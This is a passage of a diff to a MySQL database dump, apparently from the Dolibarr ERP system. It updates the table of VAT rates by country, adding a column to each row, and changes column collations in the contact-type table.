rate',1,NULL,NULL),(281,28,'',10,NULL,'0',NULL,'0',0,'VAT standard rate',1,NULL,NULL),(282,28,'',0,NULL,'0',NULL,'0',0,'VAT Rate 0',1,NULL,NULL),(411,41,'',20,NULL,'0',NULL,'0',0,'VAT standard rate',1,NULL,NULL),(412,41,'',10,NULL,'0',NULL,'0',0,'VAT reduced rate',1,NULL,NULL),(413,41,'',0,NULL,'0',NULL,'0',0,'VAT Rate 0',1,NULL,NULL),(461,46,'',0,NULL,'0',NULL,'0',0,'No VAT',1,NULL,NULL),(462,46,'',15,NULL,'0',NULL,'0',0,'VAT 15%',1,NULL,NULL),(463,46,'',7.5,NULL,'0',NULL,'0',0,'VAT 7.5%',1,NULL,NULL),(561,56,'',0,NULL,'0',NULL,'0',0,'VAT reduced rate',1,NULL,NULL),(591,59,'',20,NULL,'0',NULL,'0',0,'VAT standard rate',1,NULL,NULL),(592,59,'',7,NULL,'0',NULL,'0',0,'VAT reduced rate',1,NULL,NULL),(593,59,'',0,NULL,'0',NULL,'0',0,'VAT Rate 0',1,NULL,NULL),(671,67,'',19,NULL,'0',NULL,'0',0,'VAT standard rate',1,NULL,NULL),(672,67,'',0,NULL,'0',NULL,'0',0,'VAT Rate 0',1,NULL,NULL),(801,80,'',25,NULL,'0',NULL,'0',0,'VAT standard rate',1,NULL,NULL),(802,80,'',0,NULL,'0',NULL,'0',0,'VAT Rate 0',1,NULL,NULL),(861,86,'',13,NULL,'0',NULL,'0',0,'IVA 13',1,NULL,NULL),(862,86,'',0,NULL,'0',NULL,'0',0,'SIN IVA',1,NULL,NULL),(1141,114,'',0,NULL,'0',NULL,'0',0,'No ISV',1,NULL,NULL),(1142,114,'',12,NULL,'0',NULL,'0',0,'ISV 12%',1,NULL,NULL),(1161,116,'',25.5,NULL,'0',NULL,'0',0,'VAT standard rate',1,NULL,NULL),(1162,116,'',7,NULL,'0',NULL,'0',0,'VAT reduced rate',1,NULL,NULL),(1163,116,'',0,NULL,'0',NULL,'0',0,'VAT rate 0',1,NULL,NULL),(1171,117,'',12.5,NULL,'0',NULL,'0',0,'VAT standard rate',1,NULL,NULL),(1172,117,'',4,NULL,'0',NULL,'0',0,'VAT reduced rate',1,NULL,NULL),(1173,117,'',1,NULL,'0',NULL,'0',0,'VAT super-reduced rate',1,NULL,NULL),(1174,117,'',0,NULL,'0',NULL,'0',0,'VAT Rate 0',1,NULL,NULL),(1176,117,'CGST+SGST',0,'9','1','9','1',0,'CGST+SGST - Same state sales',1,NULL,NULL),(1177,117,'IGST',18,'0','0','0','0',0,'IGST',1,NULL,NULL),(1231,123,'',0,NULL,'0',NULL,'0',0,'VAT Rate 0',1,NULL,NULL),(1232,123,'',5,NULL,'0',NULL,'0',0,'VAT Rate 5',1,NULL,NULL),(1401,140,'',15,NULL,'0',NULL,'0',0,'VAT standard rate',1,NULL,NULL),(1402,140,'',12,NULL,'0',NULL,'0',0,'VAT reduced rate',1,NULL,NULL),(1403,140,'',6,NULL,'0',NULL,'0',0,'VAT reduced rate',1,NULL,NULL),(1404,140,'',3,NULL,'0',NULL,'0',0,'VAT super-reduced rate',1,NULL,NULL),(1405,140,'',0,NULL,'0',NULL,'0',0,'VAT Rate 0',1,NULL,NULL),(1481,148,'',18,NULL,'0',NULL,'0',0,'VAT standard rate',1,NULL,NULL),(1482,148,'',7,NULL,'0',NULL,'0',0,'VAT reduced rate',1,NULL,NULL),(1483,148,'',5,NULL,'0',NULL,'0',0,'VAT super-reduced rate',1,NULL,NULL),(1484,148,'',0,NULL,'0',NULL,'0',0,'VAT Rate 0',1,NULL,NULL),(1511,151,'',0,NULL,'0',NULL,'0',0,'VAT Rate 0',1,NULL,NULL),(1512,151,'',14,NULL,'0',NULL,'0',0,'VAT Rate 14',1,NULL,NULL),(1521,152,'',0,NULL,'0',NULL,'0',0,'VAT Rate 0',1,NULL,NULL),(1522,152,'',15,NULL,'0',NULL,'0',0,'VAT Rate 15',1,NULL,NULL),(1541,154,'',0,NULL,'0',NULL,'0',0,'No VAT',1,NULL,NULL),(1542,154,'',16,NULL,'0',NULL,'0',0,'VAT 16%',1,NULL,NULL),(1543,154,'',10,NULL,'0',NULL,'0',0,'VAT Frontero',1,NULL,NULL),(1662,166,'',15,NULL,'0',NULL,'0',0,'VAT standard rate',1,NULL,NULL),(1663,166,'',0,NULL,'0',NULL,'0',0,'VAT Rate 0',1,NULL,NULL),(1692,169,'',5,NULL,'0',NULL,'0',0,'VAT standard rate',1,NULL,NULL),(1693,169,'',0,NULL,'0',NULL,'0',0,'VAT Rate 0',1,NULL,NULL),(1731,173,'',25,NULL,'0',NULL,'0',0,'VAT standard rate',1,NULL,NULL),(1732,173,'',14,NULL,'0',NULL,'0',0,'VAT reduced rate',1,NULL,NULL),(1733,173,'',8,NULL,'0',NULL,'0',0,'VAT reduced rate',1,NULL,NULL),(1734,173,'',0,NULL,'0',NULL,'0',0,'VAT Rate 0',1,NULL,NULL),(1781,178,'',7,NULL,'0',NULL,'0',0,'ITBMS standard rate',1,NULL,NULL),(1782,178,'',0,NULL,'0',NULL,'0',0,'ITBMS Rate 0',1,NULL,NULL),(1811,181,'',18,NULL,'0',NULL,'0',0,'VAT standard rate',1,NULL,NULL),(1812,181,'',0,NULL,'0',NULL,'0',0,'VAT Rate 0',1,NULL,NULL),(1841,184,'',20,NULL,'0',NULL,'0',0,'VAT standard rate',1,NULL,NULL),(1842,184,'',7,NULL,'0',NULL,'0',0,'VAT reduced rate',1,NULL,NULL),(1843,184,'',3,NULL,'0',NULL,'0',0,'VAT reduced rate',1,NULL,NULL),(1844,184,'',0,NULL,'0',NULL,'0',0,'VAT Rate 0',1,NULL,NULL),(1881,188,'',24,NULL,'0',NULL,'0',0,'VAT standard rate',1,NULL,NULL),(1882,188,'',9,NULL,'0',NULL,'0',0,'VAT reduced rate',1,NULL,NULL),(1883,188,'',0,NULL,'0',NULL,'0',0,'VAT Rate 0',1,NULL,NULL),(1884,188,'',5,NULL,'0',NULL,'0',0,'VAT reduced rate',1,NULL,NULL),(1931,193,'',0,NULL,'0',NULL,'0',0,'No VAT in SPM',1,NULL,NULL),(2011,201,'',19,NULL,'0',NULL,'0',0,'VAT standard rate',1,NULL,NULL),(2012,201,'',10,NULL,'0',NULL,'0',0,'VAT reduced rate',1,NULL,NULL),(2013,201,'',0,NULL,'0',NULL,'0',0,'VAT Rate 0',1,NULL,NULL),(2021,202,'',22,NULL,'0',NULL,'0',0,'VAT standard rate',1,NULL,NULL),(2022,202,'',9.5,NULL,'0',NULL,'0',0,'VAT reduced rate',1,NULL,NULL),(2023,202,'',0,NULL,'0',NULL,'0',0,'VAT Rate 0',1,NULL,NULL),(2051,205,'',0,NULL,'0',NULL,'0',0,'No VAT',1,NULL,NULL),(2052,205,'',14,NULL,'0',NULL,'0',0,'VAT 14%',1,NULL,NULL),(2131,213,'',5,NULL,'0',NULL,'0',0,'VAT 5%',1,NULL,NULL),(2261,226,'',20,NULL,'0',NULL,'0',0,'VAT standart rate',1,NULL,NULL),(2262,226,'',0,NULL,'0',NULL,'0',0,'VAT Rate 0',1,NULL,NULL),(2321,232,'',0,NULL,'0',NULL,'0',0,'No VAT',1,NULL,NULL),(2322,232,'',12,NULL,'0',NULL,'0',0,'VAT 12%',1,NULL,NULL),(2323,232,'',8,NULL,'0',NULL,'0',0,'VAT 8%',1,NULL,NULL),(2461,246,'',0,NULL,'0',NULL,'0',0,'VAT Rate 0',1,NULL,NULL),(2462,102,'',23,'0','0','0','0',0,'Κανονικός Φ.Π.Α.',1,NULL,NULL),(2463,102,'',0,'0','0','0','0',0,'Μηδενικό Φ.Π.Α.',1,NULL,NULL),(2464,102,'',13,'0','0','0','0',0,'Μειωμένος Φ.Π.Α.',1,NULL,NULL),(2465,102,'',6.5,'0','0','0','0',0,'Υπερμειωμένος Φ.Π.Α.',1,NULL,NULL),(2466,102,'',16,'0','0','0','0',0,'Νήσων κανονικός Φ.Π.Α.',1,NULL,NULL),(2467,102,'',9,'0','0','0','0',0,'Νήσων μειωμένος Φ.Π.Α.',1,NULL,NULL),(2468,102,'',5,'0','0','0','0',0,'Νήσων υπερμειωμένος Φ.Π.Α.',1,NULL,NULL),(2469,1,'85',8.5,NULL,'0',NULL,'0',0,'VAT standard rate (DOM sauf Guyane et Saint-Martin)',0,NULL,NULL),(2470,1,'85NPR',8.5,NULL,'0',NULL,'0',1,'VAT standard rate (DOM sauf Guyane et Saint-Martin), non perçu par le vendeur mais récupérable par acheteur',0,NULL,NULL),(2471,1,'85NPROM',8.5,'2','3',NULL,'0',1,'VAT standard rate (DOM sauf Guyane et Saint-Martin), NPR, Octroi de Mer',0,NULL,NULL),(2472,1,'85NPROMOMR',8.5,'2','3','2.5','3',1,'VAT standard rate (DOM sauf Guyane et Saint-Martin), NPR, Octroi de Mer et Octroi de Mer Regional',0,NULL,NULL),(2477,117,'',19.6,'0','0','0','0',0,'aaa',1,'101','10'); +INSERT INTO `llx_c_tva` VALUES (11,1,'',20,NULL,'0',NULL,'0',0,'VAT standard rate (France hors DOM-TOM)',1,NULL,NULL,0),(12,1,'',8.5,NULL,'0',NULL,'0',0,'VAT standard rate (DOM sauf Guyane et Saint-Martin)',0,NULL,NULL,0),(13,1,'',8.5,NULL,'0',NULL,'0',1,'VAT standard rate (DOM sauf Guyane et Saint-Martin), non perçu par le vendeur mais récupérable par acheteur',0,NULL,NULL,0),(14,1,'bbb',5.5,'0','0','0','0',0,'VAT reduced rate (France hors DOM-TOM)',1,NULL,NULL,0),(15,1,'',0,NULL,'0',NULL,'0',0,'VAT Rate 0 ou non applicable',1,NULL,NULL,0),(16,1,'',2.1,NULL,'0',NULL,'0',0,'VAT super-reduced rate',1,NULL,NULL,0),(17,1,'',10,'0','0','0','0',0,'VAT reduced rate',1,'109','108',0),(21,2,'',21,NULL,'0',NULL,'0',0,'VAT standard rate',1,NULL,NULL,0),(22,2,'',6,NULL,'0',NULL,'0',0,'VAT reduced rate',1,NULL,NULL,0),(23,2,'',0,NULL,'0',NULL,'0',0,'VAT Rate 0 ou non applicable',1,NULL,NULL,0),(24,2,'',12,NULL,'0',NULL,'0',0,'VAT reduced rate',1,NULL,NULL,0),(31,3,'',21,NULL,'0',NULL,'0',0,'VAT standard rate',1,NULL,NULL,0),(32,3,'',10,NULL,'0',NULL,'0',0,'VAT reduced rate',1,NULL,NULL,0),(33,3,'',4,NULL,'0',NULL,'0',0,'VAT super-reduced rate',1,NULL,NULL,0),(34,3,'',0,NULL,'0',NULL,'0',0,'VAT Rate 0',1,NULL,NULL,0),(41,4,'',21,'5.2','3','-19:-15:-9','5',0,'VAT standard rate',1,NULL,NULL,0),(42,4,'',10,'1.4','3','-19:-15:-9','5',0,'VAT reduced rate',1,NULL,NULL,0),(43,4,'',4,'0.5','3','-19:-15:-9','5',0,'VAT super-reduced rate',1,NULL,NULL,0),(44,4,'',0,'0','3','-19:-15:-9','5',0,'VAT Rate 0',1,NULL,NULL,0),(51,5,'',19,NULL,'0',NULL,'0',0,'allgemeine Ust.',1,NULL,NULL,0),(52,5,'',7,NULL,'0',NULL,'0',0,'ermäßigte USt.',1,NULL,NULL,0),(53,5,'',0,NULL,'0',NULL,'0',0,'keine USt.',1,NULL,NULL,0),(54,5,'',5.5,NULL,'0',NULL,'0',0,'USt. Forst',0,NULL,NULL,0),(55,5,'',10.7,NULL,'0',NULL,'0',0,'USt. Landwirtschaft',0,NULL,NULL,0),(61,6,'',8,NULL,'0',NULL,'0',0,'VAT standard rate',1,NULL,NULL,0),(62,6,'',3.8,NULL,'0',NULL,'0',0,'VAT reduced rate',1,NULL,NULL,0),(63,6,'',2.5,NULL,'0',NULL,'0',0,'VAT super-reduced rate',1,NULL,NULL,0),(64,6,'',0,NULL,'0',NULL,'0',0,'VAT Rate 0',1,NULL,NULL,0),(71,7,'',20,NULL,'0',NULL,'0',0,'VAT standard rate',1,NULL,NULL,0),(72,7,'',17.5,NULL,'0',NULL,'0',0,'VAT standard rate before 2011',1,NULL,NULL,0),(73,7,'',5,NULL,'0',NULL,'0',0,'VAT reduced rate',1,NULL,NULL,0),(74,7,'',0,NULL,'0',NULL,'0',0,'VAT Rate 0',1,NULL,NULL,0),(81,8,'',0,NULL,'0',NULL,'0',0,'VAT Rate 0',1,NULL,NULL,0),(82,8,'',23,NULL,'0',NULL,'0',0,'VAT standard rate',1,NULL,NULL,0),(83,8,'',13.5,NULL,'0',NULL,'0',0,'VAT reduced rate',1,NULL,NULL,0),(84,8,'',9,NULL,'0',NULL,'0',0,'VAT reduced rate',1,NULL,NULL,0),(85,8,'',4.8,NULL,'0',NULL,'0',0,'VAT reduced rate',1,NULL,NULL,0),(91,9,'',17,NULL,'0',NULL,'0',0,'VAT standard rate',1,NULL,NULL,0),(92,9,'',13,NULL,'0',NULL,'0',0,'VAT reduced rate 0',1,NULL,NULL,0),(93,9,'',3,NULL,'0',NULL,'0',0,'VAT super reduced rate 0',1,NULL,NULL,0),(94,9,'',0,NULL,'0',NULL,'0',0,'VAT Rate 0',1,NULL,NULL,0),(101,10,'',6,'1','4','0','0',0,'VAT 6%',1,NULL,NULL,0),(102,10,'',12,'1','4','0','0',0,'VAT 12%',1,NULL,NULL,0),(103,10,'',18,'1','4','0','0',0,'VAT 18%',1,NULL,NULL,0),(104,10,'',7.5,'1','4','0','0',0,'VAT 6% Majoré à 25% (7.5%)',1,NULL,NULL,0),(105,10,'',15,'1','4','0','0',0,'VAT 12% Majoré à 25% (15%)',1,NULL,NULL,0),(106,10,'',22.5,'1','4','0','0',0,'VAT 18% Majoré à 25% (22.5%)',1,NULL,NULL,0),(107,10,'',0,'1','4','0','0',0,'VAT Rate 0',1,NULL,NULL,0),(111,11,'',0,NULL,'0',NULL,'0',0,'No Sales Tax',1,NULL,NULL,0),(112,11,'',4,NULL,'0',NULL,'0',0,'Sales Tax 4%',1,NULL,NULL,0),(113,11,'',6,NULL,'0',NULL,'0',0,'Sales Tax 6%',1,NULL,NULL,0),(121,12,'',20,NULL,'0',NULL,'0',0,'VAT standard rate',1,NULL,NULL,0),(122,12,'',14,NULL,'0',NULL,'0',0,'VAT reduced rate',1,NULL,NULL,0),(123,12,'',10,NULL,'0',NULL,'0',0,'VAT reduced rate',1,NULL,NULL,0),(124,12,'',7,NULL,'0',NULL,'0',0,'VAT super-reduced rate',1,NULL,NULL,0),(125,12,'',0,NULL,'0',NULL,'0',0,'VAT Rate 0',1,NULL,NULL,0),(141,14,'',7,NULL,'0',NULL,'0',0,'VAT standard rate',1,NULL,NULL,0),(142,14,'',0,NULL,'0',NULL,'0',0,'VAT Rate 0',1,NULL,NULL,0),(143,14,'',5,'9.975','1',NULL,'0',0,'GST/TPS and PST/TVQ rate for Province',1,NULL,NULL,0),(171,17,'',19,NULL,'0',NULL,'0',0,'Algemeen BTW tarief',1,NULL,NULL,0),(172,17,'',6,NULL,'0',NULL,'0',0,'Verlaagd BTW tarief',1,NULL,NULL,0),(173,17,'',0,NULL,'0',NULL,'0',0,'0 BTW tarief',1,NULL,NULL,0),(174,17,'',21,NULL,'0',NULL,'0',0,'Algemeen BTW tarief (vanaf 1 oktober 2012)',0,NULL,NULL,0),(201,20,'',25,NULL,'0',NULL,'0',0,'VAT standard rate',1,NULL,NULL,0),(202,20,'',12,NULL,'0',NULL,'0',0,'VAT reduced rate',1,NULL,NULL,0),(203,20,'',6,NULL,'0',NULL,'0',0,'VAT super-reduced rate',1,NULL,NULL,0),(204,20,'',0,NULL,'0',NULL,'0',0,'VAT Rate 0',1,NULL,NULL,0),(211,21,'',0,'0','0','0','0',0,'IVA Rate 0',1,NULL,NULL,0),(212,21,'',18,'7.5','2','0','0',0,'IVA standard rate',1,NULL,NULL,0),(221,22,'',18,NULL,'0',NULL,'0',0,'VAT standard rate',1,NULL,NULL,0),(222,22,'',10,NULL,'0',NULL,'0',0,'VAT reduced rate',1,NULL,NULL,0),(223,22,'',0,NULL,'0',NULL,'0',0,'VAT Rate 0',1,NULL,NULL,0),(231,23,'',21,NULL,'0',NULL,'0',0,'IVA standard rate',1,NULL,NULL,0),(232,23,'',10.5,NULL,'0',NULL,'0',0,'IVA reduced rate',1,NULL,NULL,0),(233,23,'',0,NULL,'0',NULL,'0',0,'IVA Rate 0',1,NULL,NULL,0),(241,24,'',19.25,NULL,'0',NULL,'0',0,'VAT standard rate',1,NULL,NULL,0),(242,24,'',0,NULL,'0',NULL,'0',0,'VAT Rate 0',1,NULL,NULL,0),(251,25,'',23,NULL,'0',NULL,'0',0,'VAT standard rate',1,NULL,NULL,0),(252,25,'',13,NULL,'0',NULL,'0',0,'VAT reduced rate',1,NULL,NULL,0),(253,25,'',0,NULL,'0',NULL,'0',0,'VAT Rate 0',1,NULL,NULL,0),(254,25,'',6,NULL,'0',NULL,'0',0,'VAT reduced rate',1,NULL,NULL,0),(261,26,'',0,NULL,'0',NULL,'0',0,'VAT Rate 0',1,NULL,NULL,0),(271,27,'',19.6,NULL,'0',NULL,'0',0,'VAT standard rate (France hors DOM-TOM)',1,NULL,NULL,0),(272,27,'',8.5,NULL,'0',NULL,'0',0,'VAT standard rate (DOM sauf Guyane et Saint-Martin)',0,NULL,NULL,0),(273,27,'',8.5,NULL,'0',NULL,'0',1,'VAT standard rate (DOM sauf Guyane et Saint-Martin), non perçu par le vendeur mais récupérable par acheteur',0,NULL,NULL,0),(274,27,'',5.5,NULL,'0',NULL,'0',0,'VAT reduced rate (France hors DOM-TOM)',0,NULL,NULL,0),(275,27,'',0,NULL,'0',NULL,'0',0,'VAT Rate 0 ou non applicable',1,NULL,NULL,0),(276,27,'',2.1,NULL,'0',NULL,'0',0,'VAT super-reduced rate',1,NULL,NULL,0),(277,27,'',7,NULL,'0',NULL,'0',0,'VAT reduced rate',1,NULL,NULL,0),(281,28,'',10,NULL,'0',NULL,'0',0,'VAT standard rate',1,NULL,NULL,0),(282,28,'',0,NULL,'0',NULL,'0',0,'VAT Rate 0',1,NULL,NULL,0),(411,41,'',20,NULL,'0',NULL,'0',0,'VAT standard rate',1,NULL,NULL,0),(412,41,'',10,NULL,'0',NULL,'0',0,'VAT reduced rate',1,NULL,NULL,0),(413,41,'',0,NULL,'0',NULL,'0',0,'VAT Rate 0',1,NULL,NULL,0),(461,46,'',0,NULL,'0',NULL,'0',0,'No VAT',1,NULL,NULL,0),(462,46,'',15,NULL,'0',NULL,'0',0,'VAT 15%',1,NULL,NULL,0),(463,46,'',7.5,NULL,'0',NULL,'0',0,'VAT 7.5%',1,NULL,NULL,0),(561,56,'',0,NULL,'0',NULL,'0',0,'VAT reduced rate',1,NULL,NULL,0),(591,59,'',20,NULL,'0',NULL,'0',0,'VAT standard rate',1,NULL,NULL,0),(592,59,'',7,NULL,'0',NULL,'0',0,'VAT reduced rate',1,NULL,NULL,0),(593,59,'',0,NULL,'0',NULL,'0',0,'VAT Rate 0',1,NULL,NULL,0),(671,67,'',19,NULL,'0',NULL,'0',0,'VAT standard rate',1,NULL,NULL,0),(672,67,'',0,NULL,'0',NULL,'0',0,'VAT Rate 0',1,NULL,NULL,0),(801,80,'',25,NULL,'0',NULL,'0',0,'VAT standard rate',1,NULL,NULL,0),(802,80,'',0,NULL,'0',NULL,'0',0,'VAT Rate 0',1,NULL,NULL,0),(861,86,'',13,NULL,'0',NULL,'0',0,'IVA 13',1,NULL,NULL,0),(862,86,'',0,NULL,'0',NULL,'0',0,'SIN IVA',1,NULL,NULL,0),(1141,114,'',0,NULL,'0',NULL,'0',0,'No ISV',1,NULL,NULL,0),(1142,114,'',12,NULL,'0',NULL,'0',0,'ISV 12%',1,NULL,NULL,0),(1161,116,'',25.5,NULL,'0',NULL,'0',0,'VAT standard rate',1,NULL,NULL,0),(1162,116,'',7,NULL,'0',NULL,'0',0,'VAT reduced rate',1,NULL,NULL,0),(1163,116,'',0,NULL,'0',NULL,'0',0,'VAT rate 0',1,NULL,NULL,0),(1171,117,'',12.5,NULL,'0',NULL,'0',0,'VAT standard rate',1,NULL,NULL,0),(1172,117,'',4,NULL,'0',NULL,'0',0,'VAT reduced rate',1,NULL,NULL,0),(1173,117,'',1,NULL,'0',NULL,'0',0,'VAT super-reduced rate',1,NULL,NULL,0),(1174,117,'',0,NULL,'0',NULL,'0',0,'VAT Rate 0',1,NULL,NULL,0),(1176,117,'CGST+SGST',0,'9','1','9','1',0,'CGST+SGST - Same state sales',1,NULL,NULL,0),(1177,117,'IGST',18,'0','0','0','0',0,'IGST',1,NULL,NULL,0),(1231,123,'',0,NULL,'0',NULL,'0',0,'VAT Rate 0',1,NULL,NULL,0),(1232,123,'',5,NULL,'0',NULL,'0',0,'VAT Rate 5',1,NULL,NULL,0),(1401,140,'',15,NULL,'0',NULL,'0',0,'VAT standard rate',1,NULL,NULL,0),(1402,140,'',12,NULL,'0',NULL,'0',0,'VAT reduced rate',1,NULL,NULL,0),(1403,140,'',6,NULL,'0',NULL,'0',0,'VAT reduced rate',1,NULL,NULL,0),(1404,140,'',3,NULL,'0',NULL,'0',0,'VAT super-reduced rate',1,NULL,NULL,0),(1405,140,'',0,NULL,'0',NULL,'0',0,'VAT Rate 0',1,NULL,NULL,0),(1481,148,'',18,NULL,'0',NULL,'0',0,'VAT standard rate',1,NULL,NULL,0),(1482,148,'',7,NULL,'0',NULL,'0',0,'VAT reduced rate',1,NULL,NULL,0),(1483,148,'',5,NULL,'0',NULL,'0',0,'VAT super-reduced rate',1,NULL,NULL,0),(1484,148,'',0,NULL,'0',NULL,'0',0,'VAT Rate 0',1,NULL,NULL,0),(1511,151,'',0,NULL,'0',NULL,'0',0,'VAT Rate 0',1,NULL,NULL,0),(1512,151,'',14,NULL,'0',NULL,'0',0,'VAT Rate 14',1,NULL,NULL,0),(1521,152,'',0,NULL,'0',NULL,'0',0,'VAT Rate 0',1,NULL,NULL,0),(1522,152,'',15,NULL,'0',NULL,'0',0,'VAT Rate 15',1,NULL,NULL,0),(1541,154,'',0,NULL,'0',NULL,'0',0,'No VAT',1,NULL,NULL,0),(1542,154,'',16,NULL,'0',NULL,'0',0,'VAT 16%',1,NULL,NULL,0),(1543,154,'',10,NULL,'0',NULL,'0',0,'VAT Frontero',1,NULL,NULL,0),(1662,166,'',15,NULL,'0',NULL,'0',0,'VAT standard rate',1,NULL,NULL,0),(1663,166,'',0,NULL,'0',NULL,'0',0,'VAT Rate 0',1,NULL,NULL,0),(1692,169,'',5,NULL,'0',NULL,'0',0,'VAT standard rate',1,NULL,NULL,0),(1693,169,'',0,NULL,'0',NULL,'0',0,'VAT Rate 0',1,NULL,NULL,0),(1731,173,'',25,NULL,'0',NULL,'0',0,'VAT standard rate',1,NULL,NULL,0),(1732,173,'',14,NULL,'0',NULL,'0',0,'VAT reduced rate',1,NULL,NULL,0),(1733,173,'',8,NULL,'0',NULL,'0',0,'VAT reduced rate',1,NULL,NULL,0),(1734,173,'',0,NULL,'0',NULL,'0',0,'VAT Rate 0',1,NULL,NULL,0),(1781,178,'',7,NULL,'0',NULL,'0',0,'ITBMS standard rate',1,NULL,NULL,0),(1782,178,'',0,NULL,'0',NULL,'0',0,'ITBMS Rate 0',1,NULL,NULL,0),(1811,181,'',18,NULL,'0',NULL,'0',0,'VAT standard rate',1,NULL,NULL,0),(1812,181,'',0,NULL,'0',NULL,'0',0,'VAT Rate 0',1,NULL,NULL,0),(1841,184,'',20,NULL,'0',NULL,'0',0,'VAT standard rate',1,NULL,NULL,0),(1842,184,'',7,NULL,'0',NULL,'0',0,'VAT reduced rate',1,NULL,NULL,0),(1843,184,'',3,NULL,'0',NULL,'0',0,'VAT reduced rate',1,NULL,NULL,0),(1844,184,'',0,NULL,'0',NULL,'0',0,'VAT Rate 0',1,NULL,NULL,0),(1881,188,'',24,NULL,'0',NULL,'0',0,'VAT standard rate',1,NULL,NULL,0),(1882,188,'',9,NULL,'0',NULL,'0',0,'VAT reduced rate',1,NULL,NULL,0),(1883,188,'',0,NULL,'0',NULL,'0',0,'VAT Rate 0',1,NULL,NULL,0),(1884,188,'',5,NULL,'0',NULL,'0',0,'VAT reduced rate',1,NULL,NULL,0),(1931,193,'',0,NULL,'0',NULL,'0',0,'No VAT in SPM',1,NULL,NULL,0),(2011,201,'',19,NULL,'0',NULL,'0',0,'VAT standard rate',1,NULL,NULL,0),(2012,201,'',10,NULL,'0',NULL,'0',0,'VAT reduced rate',1,NULL,NULL,0),(2013,201,'',0,NULL,'0',NULL,'0',0,'VAT Rate 0',1,NULL,NULL,0),(2021,202,'',22,NULL,'0',NULL,'0',0,'VAT standard rate',1,NULL,NULL,0),(2022,202,'',9.5,NULL,'0',NULL,'0',0,'VAT reduced rate',1,NULL,NULL,0),(2023,202,'',0,NULL,'0',NULL,'0',0,'VAT Rate 0',1,NULL,NULL,0),(2051,205,'',0,NULL,'0',NULL,'0',0,'No VAT',1,NULL,NULL,0),(2052,205,'',14,NULL,'0',NULL,'0',0,'VAT 14%',1,NULL,NULL,0),(2131,213,'',5,NULL,'0',NULL,'0',0,'VAT 5%',1,NULL,NULL,0),(2261,226,'',20,NULL,'0',NULL,'0',0,'VAT standart rate',1,NULL,NULL,0),(2262,226,'',0,NULL,'0',NULL,'0',0,'VAT Rate 0',1,NULL,NULL,0),(2321,232,'',0,NULL,'0',NULL,'0',0,'No VAT',1,NULL,NULL,0),(2322,232,'',12,NULL,'0',NULL,'0',0,'VAT 12%',1,NULL,NULL,0),(2323,232,'',8,NULL,'0',NULL,'0',0,'VAT 8%',1,NULL,NULL,0),(2461,246,'',0,NULL,'0',NULL,'0',0,'VAT Rate 0',1,NULL,NULL,0),(2462,102,'',23,'0','0','0','0',0,'Κανονικός Φ.Π.Α.',1,NULL,NULL,0),(2463,102,'',0,'0','0','0','0',0,'Μηδενικό Φ.Π.Α.',1,NULL,NULL,0),(2464,102,'',13,'0','0','0','0',0,'Μειωμένος Φ.Π.Α.',1,NULL,NULL,0),(2465,102,'',6.5,'0','0','0','0',0,'Υπερμειωμένος Φ.Π.Α.',1,NULL,NULL,0),(2466,102,'',16,'0','0','0','0',0,'Νήσων κανονικός Φ.Π.Α.',1,NULL,NULL,0),(2467,102,'',9,'0','0','0','0',0,'Νήσων μειωμένος Φ.Π.Α.',1,NULL,NULL,0),(2468,102,'',5,'0','0','0','0',0,'Νήσων υπερμειωμένος Φ.Π.Α.',1,NULL,NULL,0),(2469,1,'85',8.5,NULL,'0',NULL,'0',0,'VAT standard rate (DOM sauf Guyane et Saint-Martin)',0,NULL,NULL,0),(2470,1,'85NPR',8.5,NULL,'0',NULL,'0',1,'VAT standard rate (DOM sauf Guyane et Saint-Martin), non perçu par le vendeur mais récupérable par acheteur',0,NULL,NULL,0),(2471,1,'85NPROM',8.5,'2','3',NULL,'0',1,'VAT standard rate (DOM sauf Guyane et Saint-Martin), NPR, Octroi de Mer',0,NULL,NULL,0),(2472,1,'85NPROMOMR',8.5,'2','3','2.5','3',1,'VAT standard rate (DOM sauf Guyane et Saint-Martin), NPR, Octroi de Mer et Octroi de Mer Regional',0,NULL,NULL,0),(2477,117,'',19.6,'0','0','0','0',0,'aaa',1,'101','10',0),(2478,1,'aaa',5.5,'0','0','0','0',0,NULL,1,NULL,NULL,0); /*!40000 ALTER TABLE `llx_c_tva` ENABLE KEYS */; UNLOCK TABLES; @@ -3298,12 +2926,12 @@ DROP TABLE IF EXISTS `llx_c_type_contact`; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `llx_c_type_contact` ( `rowid` int(11) NOT NULL, - `element` varchar(30) COLLATE utf8mb3_unicode_ci NOT NULL, - `source` varchar(8) COLLATE utf8mb3_unicode_ci NOT NULL DEFAULT 'external', - `code` varchar(32) COLLATE utf8mb3_unicode_ci NOT NULL, - `libelle` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `element` varchar(30) NOT NULL, + `source` varchar(8) NOT NULL DEFAULT 'external', + `code` varchar(32) NOT NULL, + `libelle` varchar(128) DEFAULT NULL, `active` tinyint(4) NOT NULL DEFAULT 1, - `module` varchar(32) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `module` varchar(32) DEFAULT NULL, `position` int(11) NOT NULL DEFAULT 0, PRIMARY KEY (`rowid`), UNIQUE KEY `uk_c_type_contact_id` (`element`,`source`,`code`) @@ -3316,7 +2944,7 @@ CREATE TABLE `llx_c_type_contact` ( LOCK TABLES `llx_c_type_contact` WRITE; /*!40000 ALTER TABLE `llx_c_type_contact` DISABLE KEYS */; -INSERT INTO `llx_c_type_contact` VALUES (10,'contrat','internal','SALESREPSIGN','Commercial signataire du contrat',1,NULL,0),(11,'contrat','internal','SALESREPFOLL','Commercial suivi du contrat',1,NULL,0),(20,'contrat','external','BILLING','Contact client facturation contrat',1,NULL,0),(21,'contrat','external','CUSTOMER','Contact client suivi contrat',1,NULL,0),(22,'contrat','external','SALESREPSIGN','Contact client signataire contrat',1,NULL,0),(31,'propal','internal','SALESREPFOLL','Commercial à l\'origine de la propale',1,NULL,0),(40,'propal','external','BILLING','Contact client facturation propale',1,NULL,0),(41,'propal','external','CUSTOMER','Contact client suivi propale',1,NULL,0),(42,'propal','external','SHIPPING','Customer contact for delivery',1,NULL,0),(50,'facture','internal','SALESREPFOLL','Responsable suivi du paiement',1,NULL,0),(60,'facture','external','BILLING','Contact client facturation',1,NULL,0),(61,'facture','external','SHIPPING','Contact client livraison',1,NULL,0),(62,'facture','external','SERVICE','Contact client prestation',1,NULL,0),(70,'invoice_supplier','internal','SALESREPFOLL','Responsable suivi du paiement',1,NULL,0),(71,'invoice_supplier','external','BILLING','Contact fournisseur facturation',1,NULL,0),(72,'invoice_supplier','external','SHIPPING','Contact fournisseur livraison',1,NULL,0),(73,'invoice_supplier','external','SERVICE','Contact fournisseur 